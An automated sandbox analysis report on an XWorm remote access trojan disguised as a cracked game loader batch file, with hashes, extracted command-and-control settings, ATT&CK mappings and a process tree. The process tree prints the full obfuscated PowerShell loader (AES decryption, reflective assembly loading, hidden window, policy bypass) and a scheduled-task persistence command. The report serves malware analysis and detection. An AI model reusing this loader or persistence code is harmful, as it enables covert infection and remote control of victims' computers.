xworm | 94bf91b3fb8d81ca10883351d514dd89c9f953771ec90a2c3571e586c0ece07a

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
03/03/2025, 19:24

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General

Target

DestinyLoaderCracked.bat
Size

327KB
MD5

d0eef460c098ddfab73bffe09b5576f1
SHA1

72a9d083d85037abf060c027ceb2f4c7d83b8d42
SHA256

94bf91b3fb8d81ca10883351d514dd89c9f953771ec90a2c3571e586c0ece07a
SHA512

eaf4b8a20787685ac516f8c8fa27052df7e8100180cdbb16fdbc1dcdc33ede7623ed1ce1abbd24146bc2dc63c4e55fb36957dc731b005d71fd781e1a1b72e8d3
SSDEEP

6144:fS/P9VWTPTlLWWUY+GVH0I2mjYTNZTNSq78e89aOki5M:YP/2PTlLVUI2mMTTn8e89Ii5M

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

ciad4zftx.localto.net:6536

Mutex

fz5G9hEIprTL3zDO

Attributes

Install_directory
%ProgramData%
install_file
System.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/932-49-0x0000025CD9FE0000-0x0000025CD9FFA000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
24	932	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4640	powershell.exe
3952	powershell.exe
932	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4640	powershell.exe
4640	powershell.exe
3952	powershell.exe
3952	powershell.exe
932	powershell.exe
932	powershell.exe
932	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	3952	powershell.exe
Token: SeIncreaseQuotaPrivilege	3952	powershell.exe
Token: SeSecurityPrivilege	3952	powershell.exe
Token: SeTakeOwnershipPrivilege	3952	powershell.exe
Token: SeLoadDriverPrivilege	3952	powershell.exe
Token: SeSystemProfilePrivilege	3952	powershell.exe
Token: SeSystemtimePrivilege	3952	powershell.exe
Token: SeProfSingleProcessPrivilege	3952	powershell.exe
Token: SeIncBasePriorityPrivilege	3952	powershell.exe
Token: SeCreatePagefilePrivilege	3952	powershell.exe
Token: SeBackupPrivilege	3952	powershell.exe
Token: SeRestorePrivilege	3952	powershell.exe
Token: SeShutdownPrivilege	3952	powershell.exe
Token: SeDebugPrivilege	3952	powershell.exe
Token: SeSystemEnvironmentPrivilege	3952	powershell.exe
Token: SeRemoteShutdownPrivilege	3952	powershell.exe
Token: SeUndockPrivilege	3952	powershell.exe
Token: SeManageVolumePrivilege	3952	powershell.exe
Token: 33	3952	powershell.exe
Token: 34	3952	powershell.exe
Token: 35	3952	powershell.exe
Token: 36	3952	powershell.exe
Token: SeIncreaseQuotaPrivilege	3952	powershell.exe
Token: SeSecurityPrivilege	3952	powershell.exe
Token: SeTakeOwnershipPrivilege	3952	powershell.exe
Token: SeLoadDriverPrivilege	3952	powershell.exe
Token: SeSystemProfilePrivilege	3952	powershell.exe
Token: SeSystemtimePrivilege	3952	powershell.exe
Token: SeProfSingleProcessPrivilege	3952	powershell.exe
Token: SeIncBasePriorityPrivilege	3952	powershell.exe
Token: SeCreatePagefilePrivilege	3952	powershell.exe
Token: SeBackupPrivilege	3952	powershell.exe
Token: SeRestorePrivilege	3952	powershell.exe
Token: SeShutdownPrivilege	3952	powershell.exe
Token: SeDebugPrivilege	3952	powershell.exe
Token: SeSystemEnvironmentPrivilege	3952	powershell.exe
Token: SeRemoteShutdownPrivilege	3952	powershell.exe
Token: SeUndockPrivilege	3952	powershell.exe
Token: SeManageVolumePrivilege	3952	powershell.exe
Token: 33	3952	powershell.exe
Token: 34	3952	powershell.exe
Token: 35	3952	powershell.exe
Token: 36	3952	powershell.exe
Token: SeIncreaseQuotaPrivilege	3952	powershell.exe
Token: SeSecurityPrivilege	3952	powershell.exe
Token: SeTakeOwnershipPrivilege	3952	powershell.exe
Token: SeLoadDriverPrivilege	3952	powershell.exe
Token: SeSystemProfilePrivilege	3952	powershell.exe
Token: SeSystemtimePrivilege	3952	powershell.exe
Token: SeProfSingleProcessPrivilege	3952	powershell.exe
Token: SeIncBasePriorityPrivilege	3952	powershell.exe
Token: SeCreatePagefilePrivilege	3952	powershell.exe
Token: SeBackupPrivilege	3952	powershell.exe
Token: SeRestorePrivilege	3952	powershell.exe
Token: SeShutdownPrivilege	3952	powershell.exe
Token: SeDebugPrivilege	3952	powershell.exe
Token: SeSystemEnvironmentPrivilege	3952	powershell.exe
Token: SeRemoteShutdownPrivilege	3952	powershell.exe
Token: SeUndockPrivilege	3952	powershell.exe
Token: SeManageVolumePrivilege	3952	powershell.exe
Token: 33	3952	powershell.exe
Token: 34	3952	powershell.exe
Token: 35	3952	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 4640	1648	cmd.exe	87
PID 1648 wrote to memory of 4640	1648	cmd.exe	87
PID 4640 wrote to memory of 3952	4640	powershell.exe	90
PID 4640 wrote to memory of 3952	4640	powershell.exe	90
PID 4640 wrote to memory of 2808	4640	powershell.exe	97
PID 4640 wrote to memory of 2808	4640	powershell.exe	97
PID 2808 wrote to memory of 3044	2808	WScript.exe	98
PID 2808 wrote to memory of 3044	2808	WScript.exe	98
PID 3044 wrote to memory of 932	3044	cmd.exe	101
PID 3044 wrote to memory of 932	3044	cmd.exe	101

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DestinyLoaderCracked.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('St/Wt6vqm9kaTmxnEI7FVwFJ79tdiegvPTsnH2ymwRU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cXqlF3UWhJzCcuDvG48+Og=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rsudL=New-Object System.IO.MemoryStream(,$param_var); $nFnkD=New-Object System.IO.MemoryStream; $wnAvt=New-Object System.IO.Compression.GZipStream($rsudL, [IO.Compression.CompressionMode]::Decompress); $wnAvt.CopyTo($nFnkD); $wnAvt.Dispose(); $rsudL.Dispose(); $nFnkD.Dispose(); $nFnkD.ToArray();}function execute_function($param_var,$param2_var){ $lNmdI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CXjmD=$lNmdI.EntryPoint; $CXjmD.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\DestinyLoaderCracked.bat';$iYYFP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\DestinyLoaderCracked.bat').Split([Environment]::NewLine);foreach ($DzSDP in $iYYFP) { if ($DzSDP.StartsWith(':: ')) { $HXwqb=$DzSDP.Substring(3); break; }}$payloads_var=[string[]]$HXwqb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_181_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_181.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3952
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_181.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_181.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3044
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('St/Wt6vqm9kaTmxnEI7FVwFJ79tdiegvPTsnH2ymwRU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cXqlF3UWhJzCcuDvG48+Og=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rsudL=New-Object System.IO.MemoryStream(,$param_var); $nFnkD=New-Object System.IO.MemoryStream; $wnAvt=New-Object System.IO.Compression.GZipStream($rsudL, [IO.Compression.CompressionMode]::Decompress); $wnAvt.CopyTo($nFnkD); $wnAvt.Dispose(); $rsudL.Dispose(); $nFnkD.Dispose(); $nFnkD.ToArray();}function execute_function($param_var,$param2_var){ $lNmdI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CXjmD=$lNmdI.EntryPoint; $CXjmD.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_181.bat';$iYYFP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_181.bat').Split([Environment]::NewLine);foreach ($DzSDP in $iYYFP) { if ($DzSDP.StartsWith(':: ')) { $HXwqb=$DzSDP.Substring(3); break; }}$payloads_var=[string[]]$HXwqb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
773440cd6eb4e778c7d2115d1f231f75

SHA1
4b600aa41fcd267817961c95b104a0717c40e558

SHA256
64c178f2a2edc319c244fa885951e0425ad172e0c9c18d9773069fa13a44385c

SHA512
af0370eb22d7153b7b71a033f56bc08796a0be9a1aa0f479585e03e099a215114f6ac059cf588999f3be36d91bc38ec64b0695071292db8e324ee7bcd505ee35

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gxh1bk0x.eol.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_181.bat

Filesize
327KB

MD5
d0eef460c098ddfab73bffe09b5576f1

SHA1
72a9d083d85037abf060c027ceb2f4c7d83b8d42

SHA256
94bf91b3fb8d81ca10883351d514dd89c9f953771ec90a2c3571e586c0ece07a

SHA512
eaf4b8a20787685ac516f8c8fa27052df7e8100180cdbb16fdbc1dcdc33ede7623ed1ce1abbd24146bc2dc63c4e55fb36957dc731b005d71fd781e1a1b72e8d3

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_181.vbs

Filesize
115B

MD5
47494d2160f5389d7933766312b12d8a

SHA1
0fbf0f34250407171a6b9355d45432f9123f77da

SHA256
c2d635edf26922d3c1d0bbd1812aaa86da10ab60bc8f85a3c962b97c2b3be2e2

SHA512
680b86046afdd5d0c0f7ed30de2a0bf128aa50820968bb5d5f00c06ea351c4accfb2e7d0ceb9ba8768c63a0dc90065b8f670805bed02e5c749bc513ce08fedbe

Download Submit
memory/932-49-0x0000025CD9FE0000-0x0000025CD9FFA000-memory.dmp

Filesize
104KB

Download
memory/3952-17-0x00007FFA2B190000-0x00007FFA2BC51000-memory.dmp

Filesize
10.8MB

Download
memory/3952-16-0x00007FFA2B190000-0x00007FFA2BC51000-memory.dmp

Filesize
10.8MB

Download
memory/3952-27-0x00007FFA2B190000-0x00007FFA2BC51000-memory.dmp

Filesize
10.8MB

Download
memory/3952-30-0x00007FFA2B190000-0x00007FFA2BC51000-memory.dmp

Filesize
10.8MB

Download
memory/4640-0-0x00007FFA2B193000-0x00007FFA2B195000-memory.dmp

Filesize
8KB

Download
memory/4640-14-0x000001AE024E0000-0x000001AE02520000-memory.dmp

Filesize
256KB

Download
memory/4640-13-0x000001AE024D0000-0x000001AE024D8000-memory.dmp

Filesize
32KB

Download
memory/4640-12-0x00007FFA2B190000-0x00007FFA2BC51000-memory.dmp

Filesize
10.8MB

Download
memory/4640-11-0x00007FFA2B190000-0x00007FFA2BC51000-memory.dmp

Filesize
10.8MB

Download
memory/4640-1-0x000001AE7E260000-0x000001AE7E282000-memory.dmp

Filesize
136KB

Download
memory/4640-50-0x00007FFA2B190000-0x00007FFA2BC51000-memory.dmp

Filesize
10.8MB

Download